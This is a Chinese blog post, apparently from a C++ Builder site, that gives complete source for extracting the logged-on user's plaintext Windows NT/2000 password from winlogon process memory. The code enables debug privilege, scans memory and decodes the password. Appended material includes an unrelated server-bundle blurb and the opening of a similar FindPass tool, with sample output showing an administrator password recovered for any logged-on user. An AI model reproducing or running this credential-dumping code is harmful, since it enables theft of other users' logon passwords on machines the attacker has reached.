获取WinNT/Win2k当前用户名和密码

// 获取WinNT/Win2k当前用户名和密码,调用以下函数即可:
// bool GetPassword(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
//---------------------------------------------------------------------------
typedef  struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
}UNICODE_STRING, *PUNICODE_STRING;
typedef  struct _QUERY_SYSTEM_INFORMATION
{
    DWORD GrantedAccess;
    DWORD PID;
    WORD HandleType;
    WORD HandleId;
    DWORD Handle;
}QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
typedef  struct _PROCESS_INFO_HEADER
{
    DWORD Count;
    DWORD Unk04;
    DWORD Unk08;
}PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
typedef  struct _PROCESS_INFO
{
    DWORD LoadAddress;
    DWORD Size;
    DWORD Unk08;
    DWORD Enumerator;
    DWORD Unk10;
     char Name [0x108];
}PROCESS_INFO, *PPROCESS_INFO;
typedef  struct _ENCODED_PASSWORD_INFO
{
    DWORD HashByte;
    DWORD Unk04;
    DWORD Unk08;
    DWORD Unk0C;
    FILETIME LoggedOn;
    DWORD Unk18;
    DWORD Unk1C;
    DWORD Unk20;
    DWORD Unk24;
    DWORD Unk28;
    UNICODE_STRING EncodedPassword;
}ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;

typedef DWORD ( __stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD);
typedef PVOID ( __stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD ( __stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef  void ( __stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef  void ( __stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);

// Private Prototypes
BOOL IsWinNT( void);
BOOL IsWin2K( void);
BOOL AddDebugPrivilege( void);
DWORD FindWinLogon( void);
BOOL LocatePasswordPageWinNT(DWORD, PDWORD);
BOOL LocatePasswordPageWin2K(DWORD, PDWORD);
void ReturnWinNTPwd(String &, String &, String &);
void ReturnWin2kPwd(String &, String &, String &);
bool GetPassword(String &, String &, String &);

// Global Variables
PFNNTQUERYSYSTEMINFORMATION        pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER       pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER      pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING      pfnRtlRunDecodeUnicodeString;

DWORD dwPwdLen = 0;
PVOID pvRealPwd = NULL;
PVOID pvPwd = NULL;
DWORD dwHashByte = 0;
wchar_t wszUserName[0x400];
wchar_t wszUserDomain[0x400];
//---------------------------------------------------------------------------
bool GetPassword(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
{
         if(!IsWinNT() && !IsWin2K())
    {
         // 只适合于2000或者xp
         return  false;
    }
     // Add debug privilege to PasswordReminder -
     // this is needed for the search for Winlogon.
     if(!AddDebugPrivilege())
    {
         // 不能够添加debug特权
         return  false;
    }
     // debug特权已经成功加入到本程序
    HINSTANCE hNtDll = LoadLibrary( "NTDLL.DLL");
    pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION)
            GetProcAddress(hNtDll, "NtQuerySystemInformation");
    pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER)
            GetProcAddress(hNtDll, "RtlCreateQueryDebugBuffer");
    pfnRtlQueryProcessDebugInformation =(PFNRTLQUERYPROCESSDEBUGINFORMATION)
            GetProcAddress(hNtDll, "RtlQueryProcessDebugInformation");
    pfnRtlDestroyQueryDebugBuffer =    (PFNRTLDESTROYQUERYDEBUGBUFFER)
            GetProcAddress(hNtDll, "RtlDestroyQueryDebugBuffer");
    pfnRtlRunDecodeUnicodeString =(PFNTRTLRUNDECODEUNICODESTRING)
            GetProcAddress(hNtDll, "RtlRunDecodeUnicodeString");
     // Locate WinLogon's PID - need debug privilege and admin rights.
    DWORD dwWinLogonPID = FindWinLogon ();
     if(!dwWinLogonPID)
    {
         // 找不到进程WinLogon 或者正在使用 NWGINA.DLL
         // 导致不能在内存中找到密码
        FreeLibrary(hNtDll);
         return  false;
    }
     // Format("主进程WinLogon的id是 %d (0x%8.8x)./n",
     // ARRAYOFCONST(((int)dwWinLogonPID, (int)dwWinLogonPID))));
     // Set values to check memory block against.
    memset(wszUserName, 0,  sizeof (wszUserName));
    memset(wszUserDomain, 0,  sizeof (wszUserDomain));
    GetEnvironmentVariableW(L "USERNAME",wszUserName,0x400);
    GetEnvironmentVariableW(L "USERDOMAIN", wszUserDomain, 0x400);

     // Locate the block of memory containing
     // the password in WinLogon's memory space.
    BOOL bFoundPasswordPage;
     //bFoundPasswordPage = FALSE;
     if(IsWin2K())
        bFoundPasswordPage = LocatePasswordPageWin2K(dwWinLogonPID, &dwPwdLen);
    else
        bFoundPasswordPage = LocatePasswordPageWinNT(dwWinLogonPID, &dwPwdLen);
     if(bFoundPasswordPage)
    {
         if(dwPwdLen == 0)
        {
             // Format("登陆信息为: 域名:%S/密码:%S./n",
             // ARRAYOFCONST((wszUserDomain, wszUserName))));
             // 密码长度为空,系统没有密码
        }
        else
        {
             // Format("找到了密码,长度为%d/n", ARRAYOFCONST(((int)dwPwdLen))));
             // Decode the password string.
             if(IsWin2K())
                ReturnWin2kPwd(strCurrDomain, strCurrUser, strCurrPwd);
            else
                ReturnWinNTPwd(strCurrDomain, strCurrUser, strCurrPwd);
        }
    }
    else
    {
        FreeLibrary(hNtDll);
         return  false;
    } // 没有在内存中间找到密码
     return  true;
}
//---------------------------------------------------------------------------
BOOL IsWinNT( void)
{
    OSVERSIONINFO OSVersionInfo;
    OSVersionInfo.dwOSVersionInfoSize =  sizeof (OSVERSIONINFO);
     if(GetVersionEx(&OSVersionInfo))
         return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
    else
         return (FALSE);
}
//---------------------------------------------------------------------------
BOOL IsWin2K( void)
{
    OSVERSIONINFO OSVersionInfo;
    OSVersionInfo.dwOSVersionInfoSize =  sizeof (OSVERSIONINFO);
     if (GetVersionEx(&OSVersionInfo))
         return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
                && (OSVersionInfo.dwMajorVersion == 5));
    else
         return (FALSE);
}
//---------------------------------------------------------------------------
BOOL AddDebugPrivilege( void)
{
    HANDLE Token;
    TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
    DWORD ReturnLength = 0;
     if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token))
         if(LookupPrivilegeValue(NULL,  "SeDebugPrivilege", &TokenPrivileges.Privileges[0].Luid))
        {
            TokenPrivileges.PrivilegeCount = 1;
            TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
             return (AdjustTokenPrivileges(Token, FALSE, &TokenPrivileges,
                     sizeof (TOKEN_PRIVILEGES), &PreviousState, &ReturnLength));
        }
     return (FALSE);
}
//---------------------------------------------------------------------------
// 本文是ccrun(老妖)的一个朋友提供的代码.有问题或建议请致信:info@ccrun.com
// 欢迎光临C++ Builder 研究 http://www.ccrun.com
//---------------------------------------------------------------------------
// Note that the following code eliminates the need
// for PSAPI.DLL as part of the executable.
DWORD FindWinLogon( void)
{
     #define INITIAL_ALLOCATION 0x100
    DWORD dwRc = 0;
    DWORD dwSizeNeeded = 0;
    PVOID pvInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION);
     // Find how much memory is required.
    pfnNtQuerySystemInformation(0x10, pvInfo, INITIAL_ALLOCATION, &dwSizeNeeded);
    HeapFree(GetProcessHeap(), 0, pvInfo);
     // Now, allocate the proper amount of memory.
    pvInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSizeNeeded);
    DWORD dwSizeWritten = dwSizeNeeded;
     if(pfnNtQuerySystemInformation(0x10, pvInfo, dwSizeNeeded, &dwSizeWritten))
    {
        HeapFree(GetProcessHeap(), 0, pvInfo);
         return (0);
    }
    DWORD dwNumHandles = dwSizeWritten /  sizeof (QUERY_SYSTEM_INFORMATION);
     if(dwNumHandles == 0)
    {
        HeapFree(GetProcessHeap(), 0, pvInfo);
         return (0);
    }
    PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
        (PQUERY_SYSTEM_INFORMATION) pvInfo;
    try
    {
         for(DWORD i=1; i<=dwNumHandles; i++)
        {
             // "5" is the value of a kernel object type process.
             if (QuerySystemInformationP->HandleType == 5)
            {
                PVOID pvDebugBuffer = pfnRtlCreateQueryDebugBuffer(0, 0);
                 if(pfnRtlQueryProcessDebugInformation
                        (QuerySystemInformationP->PID, 1, pvDebugBuffer) == 0)
                {
                    PPROCESS_INFO_HEADER pihProcessInfoHeader =
                        (PPROCESS_INFO_HEADER)((DWORD)pvDebugBuffer + 0x60);
                    DWORD dwCount = pihProcessInfoHeader->Count;
                    PPROCESS_INFO piProcessInfo = (PPROCESS_INFO)
                        ((DWORD)pihProcessInfoHeader +  sizeof (PROCESS_INFO_HEADER));
                     // Form1->Memo1->Lines->Add(piProcessInfo->Name);
                    AnsiString strName = piProcessInfo->Name;
                     // if(strstr((char *)UpCase(*piProcessInfo->Name), "WINLOGON") != 0)
                     if(strName.UpperCase().Pos( "WINLOGON") != 0)
                    {
                        DWORD dwTemp = (DWORD)piProcessInfo;
                         for (DWORD j=0; j<dwCount; j++)
                        {
                            dwTemp +=  sizeof (PROCESS_INFO);
                            piProcessInfo = (PPROCESS_INFO)dwTemp;
                            strName = piProcessInfo->Name;
                             if(strName.UpperCase().Pos( "NWGINA") !=0 )
                                 return (0);
                             if(strName.UpperCase().Pos( "MSGINA") !=0 )
                                dwRc =QuerySystemInformationP->PID;
                        }
                         if(pvDebugBuffer)
                            pfnRtlDestroyQueryDebugBuffer(pvDebugBuffer);
                        HeapFree(GetProcessHeap(), 0, pvInfo);
                         return (dwRc);
                    }
                }
                 if (pvDebugBuffer)
                    pfnRtlDestroyQueryDebugBuffer(pvDebugBuffer);
            }
            DWORD dwTemp = (DWORD)QuerySystemInformationP;
            dwTemp +=  sizeof(QUERY_SYSTEM_INFORMATION);
            QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION)dwTemp;
        }
    }
     catch(...)
    {}
    HeapFree(GetProcessHeap(), 0, pvInfo);
     return (dwRc);
}
//---------------------------------------------------------------------------
BOOL LocatePasswordPageWinNT(DWORD dwWinLogonPID, PDWORD pdwPwdLen)
{
     #define USER_DOMAIN_OFFSET_WINNT   0x200
     #define USER_PASSWORD_OFFSET_WINNT 0x400
    BOOL bRc = FALSE;
    HANDLE hWinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
            FALSE, dwWinLogonPID);
     if(!hWinLogonHandle)
         return (bRc);
    *pdwPwdLen = 0;
    SYSTEM_INFO siSystemInfo;
    GetSystemInfo(&siSystemInfo);
    DWORD dwPEB = 0x7ffdf000;
    DWORD dwBytesCopied = 0;
    PVOID pvEBP = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, siSystemInfo.dwPageSize);
     if(!ReadProcessMemory(hWinLogonHandle, (PVOID)dwPEB, pvEBP,
            siSystemInfo.dwPageSize, &dwBytesCopied))
    {
        CloseHandle(hWinLogonHandle);
         return (bRc);
    }
     // Grab the value of the 2nd DWORD in the TEB.
    PDWORD pdwWinLogonHeap = (PDWORD)((DWORD)pvEBP + (6 *  sizeof (DWORD)));
    MEMORY_BASIC_INFORMATION mbiMemoryBasicInfor;
     if(VirtualQueryEx(hWinLogonHandle, (PVOID) *pdwWinLogonHeap,
            &mbiMemoryBasicInfor,  sizeof(MEMORY_BASIC_INFORMATION)))
         if(((mbiMemoryBasicInfor.State & MEM_COMMIT) == MEM_COMMIT) &&
                ((mbiMemoryBasicInfor.Protect & PAGE_GUARD) == 0))
        {
            PVOID pvWinLogonMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
                    mbiMemoryBasicInfor.RegionSize);
             if(ReadProcessMemory(hWinLogonHandle, (PVOID)*pdwWinLogonHeap,
                    pvWinLogonMem, mbiMemoryBasicInfor.RegionSize, &dwBytesCopied))
            {
                DWORD i = (DWORD)pvWinLogonMem;
                DWORD dwUserNamePos = 0;
                 // The order in memory is wszUserName followed by the wszUserDomain.
                do
                {
                     if((wcscmp(wszUserName, ( wchar_t *)i) == 0) &&
                            (wcscmp(wszUserDomain, ( wchar_t *)
                            (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
                    {
                        dwUserNamePos = i;
                         break;
                    }
                    i += 2;
                } while(i < (DWORD)pvWinLogonMem + mbiMemoryBasicInfor.RegionSize);
                 if(dwUserNamePos)
                {
                    PENCODED_PASSWORD_INFO pepiEncodedPwdInfo =
                            (PENCODED_PASSWORD_INFO)((DWORD)dwUserNamePos +
                            USER_PASSWORD_OFFSET_WINNT);
                    FILETIME ftLocalFileTime;
                    SYSTEMTIME stSystemTime;
                     if(FileTimeToLocalFileTime(&pepiEncodedPwdInfo->LoggedOn,
                        &ftLocalFileTime))
                         if(FileTimeToSystemTime(&ftLocalFileTime, &stSystemTime))
                        {}
                         // Format("你的登陆时间为: %d/%d/%d %d:%d:%d/n",
                         // ARRAYOFCONST((stSystemTime.wMonth, stSystemTime.wDay,
                         // stSystemTime.wYear, stSystemTime.wHour,
                         // stSystemTime.wMinute, stSystemTime.wSecond))));
                    *pdwPwdLen = (pepiEncodedPwdInfo->EncodedPassword.Length
                            & 0x00ff) /  sizeof ( wchar_t);
                    dwHashByte = (pepiEncodedPwdInfo->EncodedPassword.Length
                            & 0xff00) >> 8;
                    pvRealPwd = (PVOID)(*pdwWinLogonHeap + (dwUserNamePos -
                            (DWORD)pvWinLogonMem) + USER_PASSWORD_OFFSET_WINNT + 0x34);
                    pvPwd = (PVOID)((PBYTE)(dwUserNamePos +
                            USER_PASSWORD_OFFSET_WINNT + 0x34));
                    bRc = TRUE;
                }
            }
        }
    HeapFree(GetProcessHeap(), 0, pvEBP);
    CloseHandle(hWinLogonHandle);
     return (bRc);
}
//---------------------------------------------------------------------------
BOOL LocatePasswordPageWin2K(DWORD dwWinLogonPID, PDWORD pdwPwdLen)
{
     #define USER_DOMAIN_OFFSET_WIN2K    0x400
     #define USER_PASSWORD_OFFSET_WIN2K    0x800
    HANDLE hWinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION |
            PROCESS_VM_READ, FALSE, dwWinLogonPID);
     if(hWinLogonHandle == 0)
         return (FALSE);
    *pdwPwdLen = 0;
    SYSTEM_INFO siSystemInfo;
    GetSystemInfo(&siSystemInfo);
    DWORD i = (DWORD)siSystemInfo.lpMinimumApplicationAddress;
    DWORD dwMaxMemory = (DWORD) siSystemInfo.lpMaximumApplicationAddress;
    DWORD dwIncrement = siSystemInfo.dwPageSize;
    MEMORY_BASIC_INFORMATION mbiMemoryBasicInfor;
     while(i < dwMaxMemory)
    {
         if(VirtualQueryEx(hWinLogonHandle, (PVOID)i, &mbiMemoryBasicInfor,
                 sizeof (MEMORY_BASIC_INFORMATION)))
        {
            dwIncrement = mbiMemoryBasicInfor.RegionSize;
             if (((mbiMemoryBasicInfor.State & MEM_COMMIT) == MEM_COMMIT) &&
                    ((mbiMemoryBasicInfor.Protect & PAGE_GUARD) == 0))
            {
                PVOID pvRealStartingAddress = HeapAlloc(GetProcessHeap(),
                        HEAP_ZERO_MEMORY, mbiMemoryBasicInfor.RegionSize);
                DWORD dwBytesCopied = 0;
                 if(ReadProcessMemory(hWinLogonHandle, (PVOID)i, pvRealStartingAddress,
                        mbiMemoryBasicInfor.RegionSize, &dwBytesCopied))
                {
                     if((wcscmp(( wchar_t *)pvRealStartingAddress, wszUserName) == 0)
                            && (wcscmp(( wchar_t *)((DWORD)pvRealStartingAddress +
                            USER_DOMAIN_OFFSET_WIN2K), wszUserDomain) == 0))
                    {
                        pvRealPwd = (PVOID)(i + USER_PASSWORD_OFFSET_WIN2K);
                        pvPwd = (PVOID)((DWORD)pvRealStartingAddress +
                                USER_PASSWORD_OFFSET_WIN2K);
                         // Calculate the length of encoded unicode string.
                        PBYTE pbTemp = (PBYTE)pvPwd;
                        DWORD dwLoc = (DWORD)pbTemp;
                        DWORD dwLen = 0;
                         if((*pbTemp == 0) && (*(PBYTE)((DWORD)pbTemp + 1) == 0))
                        {}
                        else
                            do
                            {
                                dwLen++;
                                dwLoc += 2;
                                pbTemp = (PBYTE) dwLoc;
                            } while(*pbTemp != 0);
                        *pdwPwdLen = dwLen;
                        CloseHandle(hWinLogonHandle);
                         return (TRUE);
                    }
                }
                HeapFree(GetProcessHeap(), 0, pvRealStartingAddress);
            }
        }
        else
            dwIncrement = siSystemInfo.dwPageSize;
         // Move to next memory block.
        i += dwIncrement;
    }
    CloseHandle(hWinLogonHandle);
     return (FALSE);
}
//---------------------------------------------------------------------------
void ReturnWinNTPwd(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
{
    UNICODE_STRING usEncodedString;
    usEncodedString.Length = (WORD)dwPwdLen *  sizeof( wchar_t);
    usEncodedString.MaximumLength =
        ((WORD)dwPwdLen *  sizeof ( wchar_t)) +  sizeof( wchar_t);
    usEncodedString.Buffer = (PWSTR)HeapAlloc(GetProcessHeap(),
            HEAP_ZERO_MEMORY, usEncodedString.MaximumLength);
    CopyMemory(usEncodedString.Buffer, pvPwd, dwPwdLen *  sizeof( wchar_t));
     // Finally - decode the password.
     // Note that only one call is required since the hash-byte
     // was part of the orginally encoded string.
    pfnRtlRunDecodeUnicodeString((BYTE)dwHashByte, &usEncodedString);
    strCurrDomain = String(wszUserDomain);
    strCurrUser = String(wszUserName);
    strCurrPwd = AnsiString(usEncodedString.Buffer);
     // Format("你的登陆信息是  域名:%S   用户名:%S  密码:%S/n",
     // ARRAYOFCONST((wszUserDomain, wszUserName, usEncodedString.Buffer))));
     // Format("The hash byte is: 0x%2.2x./n", ARRAYOFCONST(((int)dwHashByte))));
    HeapFree(GetProcessHeap(), 0, usEncodedString.Buffer);
}
//---------------------------------------------------------------------------
void ReturnWin2kPwd(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
{
     // DWORD dwHash = 0;
    UNICODE_STRING usEncodedString;
    usEncodedString.Length = (USHORT)dwPwdLen *  sizeof( wchar_t);
    usEncodedString.MaximumLength =
        ((USHORT)dwPwdLen *  sizeof( wchar_t)) +  sizeof( wchar_t);
    usEncodedString.Buffer = (PWSTR)HeapAlloc(GetProcessHeap(),
            HEAP_ZERO_MEMORY, usEncodedString.MaximumLength);
     // This is a brute force technique since the hash-byte
     // is not stored as part of the encoded string - :>(.
     for(DWORD i=0; i<=0xff; i++)
    {
        CopyMemory(usEncodedString.Buffer, pvPwd, dwPwdLen *  sizeof ( wchar_t));
         // Finally - try to decode the password.
        pfnRtlRunDecodeUnicodeString((BYTE)i, &usEncodedString);
         // Check for a viewable password.
        PBYTE pbTemp = (PBYTE)usEncodedString.Buffer;
        BOOL bViewable = TRUE;
        DWORD j, k;
         for(j=0; (j<dwPwdLen) && bViewable; j++)
        {
             if((*pbTemp) && (*(PBYTE)(DWORD(pbTemp) + 1) == 0))
            {
                 if(*pbTemp < 0x20)
                    bViewable = FALSE;
                 if(*pbTemp > 0x7e)
                    bViewable = FALSE;
            }
            else
                bViewable = FALSE;
            k = DWORD(pbTemp);
            k += 2;
            pbTemp = (PBYTE)k;
        }
         if(bViewable)
        {
            strCurrDomain = String(wszUserDomain);
            strCurrUser = String(wszUserName);
            strCurrPwd = String(usEncodedString.Buffer);
             // Format("你的登陆信息为: 域名:%S  用户名:%S  密码:%S/n",
             // ARRAYOFCONST((wszUserDomain, wszUserName, usEncodedString.Buffer))));
             // Format("The hash byte is: 0x%2.2x./n", ARRAYOFCONST(((int)i))));
        }
    }
    HeapFree(GetProcessHeap(), 0, usEncodedString.Buffer);
}
//---------------------------------------------------------------------------
// 调用举例
void  __fastcall TForm1::Button1Click(TObject *Sender)
{
    String strCurrDomain, strCurrUser, strCurrPwd;
    GetPassword(strCurrDomain, strCurrUser, strCurrPwd);
    Memo1->Lines->Add(strCurrDomain);
    Memo1->Lines->Add(strCurrUser);
    Memo1->Lines->Add(strCurrPwd);
}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
APMServ 5.2.6 是一款拥有图形界面的快速搭建Apache 2.2.9、PHP 5.2.6、MySQL 5.1.28 &4.0.26、Nginx 0.7.19、Memcached 1.2.4、phpMyAdmin 2.11.9.2、OpenSSL、SQLite、 ZendOptimizer,以及ASP、CGI、Perl网站服务器平台的绿色软件。无需安装,具有灵活的移动 性,将其拷贝到其它目录、分区或别的电脑时,均只需点击APMServ.exe中的启动按钮,即可自 动进行相关设置,将Apache和MySQL安装为系统服务并启动。APMServ集合了Apache稳定安全的 优点,并拥有跟IIS一样便捷的图形管理界面,同时支持MySQL 5.0 & 4.0两个版本,虚拟主机、 虚拟目录、端口更改、SMTP、上传大小限制、自动全局变量、SSL证书制作、缓存性能优化等设 置,只需鼠标一点即可完成。 1、注意事项:APMServ程序所在路径不能含有汉字和空格。 2、MySQL默认用户名:root,密码为空 3、MySQL数据库文件存放目录:MySQL5.1\data或MySQL4.0\data 4、网站根目录[HTML,PHP]www\htdocs [ASP]www\asp [CGI,Perl]www\cgi-bin 5、访问本机请用http://127.0.0.1/或https://127.0.0.1/ (如果开启SSL) 6、非默认端口,网址为http://127.0.0.1:端口/或https://127.0.0.1:端口/ 7、如果在“扩展功能”中选择使用Memcached,它的端口为:11211 8、APMServ集成了以下软件: Apache 2.2.9 [HTTP服务器] Nginx 0.7.19 [HTTP服务器] NetBox 2.8 Build 4128 [HTTP服务器+ASP脚本解释引擎] PHP 5.2.6 [PHP脚本解释引擎] MiniPerl 5.8 [Perl脚本解释器] Memcached 1.2.4 [key-value内存缓存系统] MySQL 5.1.28 [MySQL数据库服务器] MySQL 4.0.26 [MySQL数据库服务器] phpMyAdmin 2.11.9.2 [MySQL数据库在线管理工具] eAccelerator 0.9.5.3 [PHP脚本加速引擎] ZendOptimizer 3.3.3 [PHP脚本加速引擎] OpenSSL 0.9.8h [HTTPS(SSL)安全传输协议] 附加组件:   ㈠Perl、CGI支持(需下载ActivePerl):   APMServ 5.2.6 附带的是MiniPerl,可以运行简单的Perl、CGI程序。如果运行复杂的Perl、CGI程序,请下载ActivePerl,安装在APMServ所在分区根目录下的usr目录中。假如APMServ所在目录为E:\APMServ5.2.6,则将ActivePerl的安装路径选为E:\usr   ActivePerl 5.8.8.819 for Windows 下载地址:[华军软件园] [中国站长站]   注意事项:   迅雷、Skype、PPLive、BT等软件启动后默认会占用80端口,导致Apache无法启动。解决方法:先关闭这些软件,启动完APMServ之后,再开启这些软件。
// Find Password from winlogon in win2000 / winnt4 + < sp6 // // PasswordReminder.cpp --> FindPass.cpp // 1. http://www.smidgeonsoft.com/ // 2. shotgun add comment, bingle change a little to find other user in winlogon // This code is licensed under the terms of the GPL (gnu public license). // // Usage: FindPass DomainName UserName PID-of-WinLogon // // you can get the three params from pulist output in target system. // /* 因为登陆的域名和用户名是明文存储在winlogon进程里的,而PasswordReminder是限定了查找本进程用户的密码 <167-174: GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400); >,然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串 if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) > ,找到后就查后边的加密口令。 其实只要你自己指定用户名winlogon进程去查找就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以找到。 1. pulist,找到系统里登陆的域名和用户名,及winlogon进程id 2. 然后给每个winlogon进程id查找指定的用户就行了。 example: C:\Documents and Settings\bingle>pulist Process PID User Idle 0 System 8 smss.exe 164 NT AUTHORITY\SYSTEM csrss.exe 192 NT AUTHORITY\SYSTEM winlogon.exe 188 NT AUTHORITY\SYSTEM wins.exe 1212 NT AUTHORITY\SYSTEM Explorer.exe 388 TEST-2KSERVER\Administrator internat.exe 1828 TEST-2KSERVER\Administrator conime.exe 1868 TEST-2KSERVER\Administrator msiexec.exe 1904 NT AUTHORITY\SYSTEM tlntsvr.exe 1048 NT AUTHORITY\SYSTEM taskmgr.exe 1752 TEST-2KSERVER\Administrator csrss.exe 2056 NT AUTHORITY\SYSTEM winlogon.exe 2416 NT AUTHORITY\SYSTEM rdpclip.exe 2448 TEST-2KSERVER\clovea Explorer.exe 2408 TEST-2KSERVER\clovea internat.exe 1480 TEST-2KSERVER\clovea cmd.exe 2508 TEST-2KSERVER\Administrator ntshell.exe 368 TEST-2KSERVER\Administrator ntshell.exe 1548 TEST-2KSERVER\Administrator ntshell.exe 1504 TEST-2KSERVER\Administrator csrss.exe 1088 NT AUTHORITY\SYSTEM winlogon.exe 1876 NT AUTHORITY\SYSTEM rdpclip.exe 1680 TEST-2KSERVER\bingle Explorer.exe 2244 TEST-2KSERVER\bingle conime.exe 2288 TEST-2KSERVER\bingle internat.exe 1592 TEST-2KSERVER\bingle cmd.exe 1692 TEST-2KSERVER\bingle mdm.exe 2476 TEST-2KSERVER\bingle taskmgr.exe 752 TEST-2KSERVER\bingle pulist.exe 2532 TEST-2KSERVER\bingle C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER administrator 188 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 188 (0x000000bc). To find TEST-2KSERVER\administrator password in process 188 ... The encoded password is found at 0x008e0800 and has a length of 10. The logon information is: TEST-2KSERVER/administrator/testserver. The hash byte is: 0x13. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER clovea 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-2KSERVER\clovea password in process 1876 ... PasswordReminder is unable to find the password in memory. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER bingle 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-2KSERVER\bingle password in process 1876 ... The logon information is: TEST-2KSERVER/bingle. There is no password. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER clovea 2416 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 2416 (0x00000970). To find TEST-2KSERVER\clovea password in process 2416 ... The logon information is: TEST-2KSERVER/clovea. There is no password. C:\Documents and Settings\bingle> */ #include <stdafx.h> #include <windows.h> #include <tchar.h> #include <stdio.h> #include <stdlib.h> typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; // Undocumented typedef's typedef struct _QUERY_SYSTEM_INFORMATION { DWORD GrantedAccess; DWORD PID; WORD HandleType; WORD HandleId; DWORD Handle; } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER { DWORD Count; DWORD Unk04; DWORD Unk08; } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO { DWORD LoadAddress; DWORD Size; DWORD Unk08; DWORD Enumerator; DWORD Unk10; char Name [0x108]; } PROCESS_INFO, *PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO { DWORD HashByte; DWORD Unk04; DWORD Unk08; DWORD Unk0C; FILETIME LoggedOn; DWORD Unk18; DWORD Unk1C; DWORD Unk20; DWORD Unk24; DWORD Unk28; UNICODE_STRING EncodedPassword; } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO; typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING); // Private Prototypes BOOL IsWinNT (void); BOOL IsWin2K (void); BOOL AddDebugPrivilege (void); DWORD FindWinLogon (void); BOOL LocatePasswordPageWinNT (DWORD, PDWORD); BOOL LocatePasswordPageWin2K (DWORD, PDWORD); void DisplayPasswordWinNT (void); void DisplayPasswordWin2K (void); // Global Variables PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString; DWORD PasswordLength = 0; PVOID RealPasswordP = NULL; PVOID PasswordP = NULL; DWORD 